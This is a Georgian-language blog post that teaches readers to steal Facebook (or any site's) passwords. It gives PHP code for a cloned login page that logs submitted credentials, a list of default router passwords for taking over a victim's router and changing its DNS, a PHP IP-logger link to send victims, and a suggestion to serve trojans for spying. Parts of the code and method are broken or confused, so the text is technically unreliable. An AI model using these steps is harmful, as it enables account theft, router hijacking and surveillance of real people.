პირველ რიგში მინდა გითხრათ რომ ეს პოსტი უშვალოდ fb ს გატეხვას არ ეხება. ამ პოსტში მე დავწერ ერთ-ერთ თაღლითურ გზას რის მეშვეობით შეძლებთ როგორც facebook ის პროფაილის გატეხვას ასევე თითქმის ნებისმიერი რაიმის. 

იმედია არ ჩათვლით მორიგ სისულელე პოსტს ამ თემაზე და არ დაიკიდებთ რადგან ვთვლი რომ საინტერესო იქნება თქვენთვის ვინც ამით ინტერესდებით.

ასევე მინდა გითხრათ რომ თუ მაინც ვერ მოახერხებთ ამას, მე არ მომწეროთ გამატეხინეო თორემ დაგბლოკავთ. :P

თუ ვინმე გეტყვით რომ fb ს გატეხვა იცის ან მისმა მეგობარმა იცის და განატეხი აქვს, დასცინეთ. ეს არის სისულელეზე სისულელე ვერავინ მსოფლიოში ვერ გატეხავს ეგრე პირდაპირ ვიღაცის ეკაუნტს. ასე რომ მინდა გითხრათ ეს არ არის ფბ გატეხვა, რასაც ეხლა დავწერ. თუმცა ვთვლი რომ ეს არის ყველაზე მარტივი შესაძლებლობა ამის გაკეთების.

 

არც კი ვიცი საიდან დავიწყო, რომ გასაგები იყოს თქვენთვის ასე რომ მოდით ჯერ დაბალ დონეზე გავიაროთ რაღაცეები. შეიძლება რაიმე არასწორად აგიხსნათ და თუ ეგრე იქნა ბოდიში წინასწარ. როგორც მე ვიცი და რაც ვიცი იმას გეტყვით. მე არ მაქვს ცოდნა ამის. არც უნივერსიტეტში მისწავლია და არც ვინმეს აუხსნია უბრალოდ ჩემით გავიკვლიე რაღაცეები.

დავიწყოთ TCP პროტოკოლით.

TCP (Transmission Control Protocol) ეს არის პროტოკოლი რომლის იდეა მდგომარეობს იმაში რომ ქსელში აგზავნის ინფორმაციას და ელოდება პასუხს. მანამ არ გააგზავნის შემდეგ ინფორმაცის სანამ მას არ დაუბრუნდება ადრესატიდან პასუხი. ამ პროტოკოლზე შემდეგ დაშენებული http და კიდევ ბევრი პროტოკოლები. უკეთესად რომ მიხვდეთ ვახსენებ კიდევ UDP პროტოკოლს. ეს ბოლოს ხსენებული ასევე არის ქსელში ინფორმაციის გაცვლის პროტოკოლი რომელიც აგზავნის ინფორმაციას და პასუხს არ ელოდება. ამ პროტოკოლზე არის აგებული მაგალითად skype ის ვიდეო ზარი. მისი დანიშნულებაა გააგზავნოს ადრესატამდე შენი ვიდეო. და მას არ აინტერესებს პასუხი ანუ ის ვერ გებულობს ადრესატთან მიდის თუ არა შენი ინფორმაცია. ანუ მარტივად რომ ვთქვათ აგზავნის ვიდეოს და ფეხებზე კიდია მიუვა თუ არა. გაუწყდება თუ არა ადრესატს შუა ზარის დროს შენი ვიდეო ის ტუპად აგზავნის და აგზავნის. რადგან არაა საჭირო დაუბრუნდეს გამგზავნს ინფორმაცია იმაზე მიუვიდა ეს ვიდეო თუ არა. მან უბრალოდ მიმდინარე ვიდეო უნდა გააგზავნოს თუ გაწყდება კიდია უკან ვერ დააბრუნებს ზარს რომ თავიდან გაუგზავნოს ასე რომ აგზავნის და აგზავნი. ანუ TCP ელოდება პასუხს. 

 

IP

ip არის ინტერნეტ პროტოკოლი. როგორც ბევრმა იცით ყველა ქსელში ჩართულ წერტილს აქვს თავისი ip მისამართი. მეც სახლში რომ მიდგას როუტერი ან მოდემი და მაქვს ინტერნეტი ეს ნიშნავს რომ მე მაქვს რაღაც მისამართი. ასევე შენ და ასევე ყველას. (ip მისამართის მაგალითი:74.125.224.72)

 

HTTP

http (HyperText Transfer Protocol) ეს არის პროტოკოლი რომლის დანიშნულებაცაა გაცვალოს ინფორმაცია რომელიც შეადგენს ჰიპერ ტექსტ. როდესაც შენ შედიხართ საიტზე მაგალითად facebook.com ზე ეს ნიშნავს რომ შენ ი ბრაუზერი აკეთებს მოთხოვნას შენს ინტერნეტ პროვაიდერთან რომ შეგაერთოდ რაღაც ip ზე რომელიც ესე რომ ვთქვათ შენიღბულია როგორ facebook.com ით. პროვაიდერი გაერთებს ამ ip თან. ამ აიპზე შემოსულ მოთხოვნებს უყურებს სერვერზე არსებული აპლიკაცია რომელიც ამუშავებს შენს მოთხოვნას და გიბრუნებს პასუხს. ანუ გიბრუნებს ისეთ კოდს რომელიც ბრაუზერისთვის აღქმადია და ბრაუზერი არენდერებს ინტერფეის შენს კომპიუტერში. კიდე უპრო ღრმად დავეშვათ ეხლა. განვიხილოთ შემდეგი თემა DNS

 

DNS

DNS (Domain Name service) ეს არის რაღაც ფენა domain ის და ip მისამართს შორის. domain ჩათვალეთ არის url ანუ მისამართი რაღაც საიტის მაგალითად facebook.com, fb.com, fb.me, google.com და ასე შემდეგ ამ მისამართებს  ჰქვია დომენები. როდესაც შენ ბრაუზერში კრიბავ სიტყვაზე fb.com ხდება ეგეთი რამ შენი ბრაუზერიდან იქმნება ბრძანება რომლითად შენი კომპიუტერი უგზავნის მოთხოვნას შენს როუტერს რომელიც აგზავნის მოთხოვნას ინტერნეტ პროვაიდერთან, მაგალითად silknet თან. სილკნეტი მიდის dns სერვერებთან და შენ მოთხოვნას გადასცემს. ხოლოდ dns სერვერის მოვალეობაა მოთხოვნილი დომენისთვის გაიგოს რა ip მისამრთზე არის მიბრმული. ანუ როდესაც შენ შედიხარ fb.com ზე ნიშნავს რომ შენ რაღაც ip მისამართს აკითხავ. dns სერვერი არის ამ ip და მასზე მდგარ კომპიტერს შორის და დომენის შორის არსებული ლეიერი. რომელიც ნახულობს რომელი დომენი რა აიპზე გადამისამართოს.

 

ამის შემდეგ მოთხოვნა მიდის რაღაც იპ ზე ეს აიპი დამეპილია რაღაც კომპიუტერიზე. რომელზეც არის რაღაც პროგრამა დაყენებული რომელიც უსმენს ამ მოთხოვნებს და ვალდებულია მიიღოს თქვენი მოთხოვნა. შემდეგ აპლიკაცია დაამუშავებს ამ მოთხოვნას. მაგალითად fb.com ზე შესვლა არის fb ს სერვერისთვის მოუსმინოს 80 პორტს თავის აიპზე და დააბრუნოს საიტის კოდი რომეიც ბრაუზერისთვის აღქმადი იქნება. 

რაც შეეხება პორტს. http ს სტანდარტული პორტი არის 80. ანუ http://fb.com ზე შესვლა რეალურად არის შესვლა fb ის აიპსზე 80 პორტით ანუ იგივე http://157.240.9.35:80

 

მოდით ბევრი რომ არ გავაგძელო და მთლად არ აგირიოთ ტვინი დავიწყებ და რაც შეიძლება მარტივად აგიხსნით.

პირველ რიგში გვჭრდება კომპიუტერი ინტერნეტით. (არმიყვარს სიტყვა ინტერნეტს გამოყენება ამიტომ აწი ვიტყვი გლობალურ ქსელს. :P )

კომპიუტერზე ვაყენებთ linux ის რომელიმე დისტრიბუტორს მაგალიტად ubuntu , ვინც არ იცით ეს რაარის გეტყვით რომ არსებობს windows ის მსგავსი ოპერაციული სისტემა რომელსაც ჰქვია linux. ლინუქსის ერთ-ერთი პაკეტი არის ubuntu რომელსაც დისტრიბუტორებს ეძახიან. 

უბუნტუზე უნდა ავწიოთ ვებ სერვერი და dns სერვერი. 
ინსტრუქცია: https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-16-04

რაღაცეები თქვენთვითონ უნდა გაარკვიოთ რადგან ყველაფერი რომ დეტალურად აგიხსნათ 2 კვირა უნდა ვწერო ეს პოსტი და გამოვა 10 ვეფხის ტყაოსანი.

ვაკეთებთ facebook ის ფიშერს. რომელსაც აწევთ თქვენს ლოკალურ ვებ სერვერზე. ანუ რასნიშნავს ეხლა ეგ. ფიშერი არის რაღაც აპლიკაციის ან საიტის კლონი რომელიზეც თუ მსხვერპს შეიტყვათ თავი ეგონება სიტყვაზე fb.com ზე და ამ დროს სხვა საიტზე იქნებიან. როდესაც username ს და პაროლს შეიყვანს თქვენ დაიმახსოვრებთ და შეინახავთ თქვენთვის. ეხლა როგორ დავკლონოთ fb. ყველა ბრაუზერს აქვს სორს კოდის ჩვენების ფუნქციონალი მაგალითად chrome ში ეს არის მარჯვენა მაუსის ღილაკზე დაკლიკვით და შემდეგ View Page Source. ან პურდაპირ windows: ctrl+u / MacOs: command+option+u სადაც ჩანს ის კოდი რასაც აბრუნებს fb ის სერვერი რომელიც ბრაუზერსითვის გასაგებია. fisher ის გასაკეთებლად საჭიროა მოვიქცეთ შემდეგნაირად.

  1. შევინახოთ login page ის html კოდი ანუ იგივე ეს source code ი windows: ctrl+s / MacOs command+s შენახულ ფაილს გადავარქვათ სახელი და დავაწეროთ index.php. შემდეგ გავხსნათ ეს ფაილი ტექსტ დოკუმენტით ან ნოუთპედით. 
  2. ვნახულობთ შემდეგ კოდს:  <form id="login_form" action="https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&amp;lwv=110" method="post" novalidate="1" onsubmit=""> და შევცვალოთ შემდეგი კოდით:  <form id="login_form" method="post">
  3. სულ ზემოთ ვწერთ შემდეგ კოდს და ვინახავთ ფაილს.

    <?php $txt = "email: ".$_POST['email']."; ".$_POST['pass']."\n";
    fwrite($myfile, $txt);
    fclose($myfile);
    ?>
  4. ფაილი გადაიტანეთ შემდეგ დირექტორიაში: /var/www/html
  5. გახსენით ბრაუზერში შემდეგი url: http://127.0.0.1 თუ გამოჩნდა fb ფიშერი ესეიგი ყველაფერი კარგად გაგიკეთებიათ თუარადა მიჰყევით ზემოთ ხსენებულ ვებ სერვერის აწევის ინსტრუქციას სწორად.

 

ეხლა ხდება ყველაზე რთული მომენტი. თქვენ უნდა გახდეთ მსხვერპლის ინტერნეტ პროვაიდერი. ამისთვის თქვენ უნდა მიიღოთ რაიმე გზა მის ინტერნეტის როუტერში შესაღწევად. ყველაზე მარტივი ვარიანტია მსხვერპლის კომპიუტერზე ნახოთ მისი ლოკალური ip მისამართი როუტერის ან მის ინტერნეტთან იყოთ დაკონექტებული. ამისთვის windows ის შემთხვევაში. ეძებთ cmd ს და უშვებთ შემდეგ ბრძანებას:ipconfig | findstr /i "Gateway"

გამოდის აიპი: Default Gateway . . . . . . . . . : 192.168.1.1

MacOs ის შემთხვევაში ხსნით terminal ს და უშვებთ შემდეგ ბრძანებას: 

netstat -nr | grep default

გამოდის აიპი: 

default 192.168.100.1 UGSc 94 0 en1

 

ბრაუზერში შედიხართ ამ აიპზე და შეგყავთ როუტერის user და პაროლი.
რამდენიმე სტანდარტული პაროლიაქვს როუტერს:

Username Password
user user
admin admin
user  
admin  
admin 123456

და ასე შემდეგ თუ მაინცდამაინც არ წავიდა ეს პაროლები, როუტერს ქვემოდან აწერია username და პაროლი.

და თუ არ გაქვს საშუალება უბრალოდ გაიგეთ რა ფირმის როუტერია და დასერჩეთ მაგალითად:

d-link router default password

ამის შემდეგ როუტერის პანელში ცვლით dns მისამართს თქვენი ip მისამართით. 

თუ არ გაქვთ წვდომა მის მსხვერპლის როუტერთან ან არ ხართ დაკავშირებული wifi ზე საქმე რთულდება.

მაშინ უნდა გაიგოთ მისი გარე აიპი. ეს დიდ პრობლემას არ წარმოადგენს შენ შეგიძლია მიწერო მას ლინკი რომელსაც გახსნის და გაიგებ ან არვიცი ძაან ბევრი ვარიანტი შეიძლება. 

ალბად ყველაზე მარტივია გაუზავნო ლინკი. ამისთვის გჭირდება გლობალურ ქსელში ჩართული კომპიუტერი რომელზე ქინება პორტი გახსნილი 80 ზე. ან უბრალოდ იყიდოთ hosting ი. ან აიღოთ უფასო ჰოსტინგი. სადაც ატვირთავთ ფაილს რომელზიც იქნება .php გაფართოების და ამ ფაილში წერთ შემდეგ კოდს.

$myfile = fopen("ips.txt", "a") or die("oppsss");
$txt = "IP: ".$_SERVER['REMOTE_ADDR']."; DateTime: ".date('Y-m-d H:i:s')."\n";
fwrite($myfile, $txt);
fclose($myfile);
?>

 

შემდეგ მსხვერპლს უგზავნით ამ ფაილის მისამართს და გახსნისას თქვენ დაგხვდება მისი აიპი ips.txt ფაილში ჩაწერილი.

ამის შემდეგ შედიხართ ბრაუზერით მის აიპზე. თუმცა აქ პრობლემაა. ზოგი როუტერს დახურულიაქვს პორტი 80 ზე ამიტომ შეიძლება ასეთ აიპზე ვერ შეხვიდეთ. ასეთ შემთხვევაში საჭირო იქნება როუტერის ზუსტი მოდელის გაგება, რათან გახსნათ პორტი. თუ ზუსტ მოდელს გაიგებთ მაშინ დასერჩავთ გუგლში თუ როგორ გახსნა პორტი 80 ზე ნახავ php კოდებს და სხვადასხვა ბრძანებებს და ინსტქუციებს. თუ პორტს 80 ზე ვერ გახსნით მაშინ ისღა დაგრჩენია დანებდე. :D

თუ როუტერს არ აქვს დახურული პორტი 80 ზე მაშინ თქვენ შედიხართ როუტერში და აკეთებთ იგივე პროცეს რასაც ზემოთ მოყვანილ მაგალითში აკეთებდით. აი თუ მის როუტერთან მიგიწვდება ხელი იმ ინსტქუქციას.

 

ამის შემდეგ შენ ხდები მისი ინტერნეტ პროვაიდერი. თუ შენ გათიშავ კომპიუტერს ან გლობალური ქსელი მასაც გაეთიშება გლობალურ ქსელთან წვდომა.

შენ ისღა დაგრჩენია მისი რექვესტები გადაამისამართო სადაც შენ გინდა.

 

ამისთვის რექდაქიტერბას უკეთებს შენს კომპში ამ ფაილს /etc/hosts და ბოლოს წერ 127.0.0.1 facebook.com

როდესაც მსვერპლი ბრაუზერში ჩაწერს facebook.com ს ის აღმოჩნდება შენ facebook ის ფიშერზე. ისე რომ ვერც ი მიხვდება ამას. ბრაუზერის url ში რათქმაუნდა facebook.com იქნება დაწერილი. მას შეჰყავს თავისი სახელი და პაროლი. ამის შემდეგ შენ ნახულობ თქვეს კომპში არსებულ ფაილს /var/www/html/password.txt

სადაც დაგხვდებათ მისი username და პაროლი.

 

ამ მეთოდით თქვენ შეგიძლიათ ასევე არამარტო fb.com ფიშერი ააწყოთ არამედ ნებისმიერი საიტის მაგალითად adjarabet.com ან რაც გაგიხარდებათ. თქვენ შეგიძლია გაფილტროთ მისი მოთხოვნები. შეგიძლიათ ნებისმიერი მოთხოვნისას თქვენ დაუბრუნოთ ფაილი როელიც იქნება ვირუსი. ან ტროას ცხენი. ტროიან ვირუს რომ ეძახიან ეგ :D და ამით ტქვენ შეძლებთ გააკონტროლოთ და მოიპაროთ ფაილები. ჩაურთოთ მიკროფონი, ვიდეოკამერა, ნახოთ დისპლეი, დააზომბიროთ მისი კომპიუტერი და ასე შემდეგ.

 

სიმართლე რომ გითხრათ თავიდან მეგონა რომ მარტივად ავხსნიდი მაგრამ ვხვდები რომ რთული ასახსნელია ასერომ თუ რაიმე ვერ გაიგეთ დააკომენატრეთ აქვე გაგცემთ პასუხს. და თუ მაინც არ გესმით და ვერ ახერხებთ ამის გაკეთებას გაუზიარეთ ეს პოსტი იმას ვისაც თვლი რომ გაიგებს და დაგეხმარება.

 

იმედიმაქვს იდეას მიხვდით. ბევრმა ალბად გაიგო და შეეცდება გატესტვას. ასე რომ ეს ერთი თაღლითურა მინიშნება ჩემგან.

კომენტარები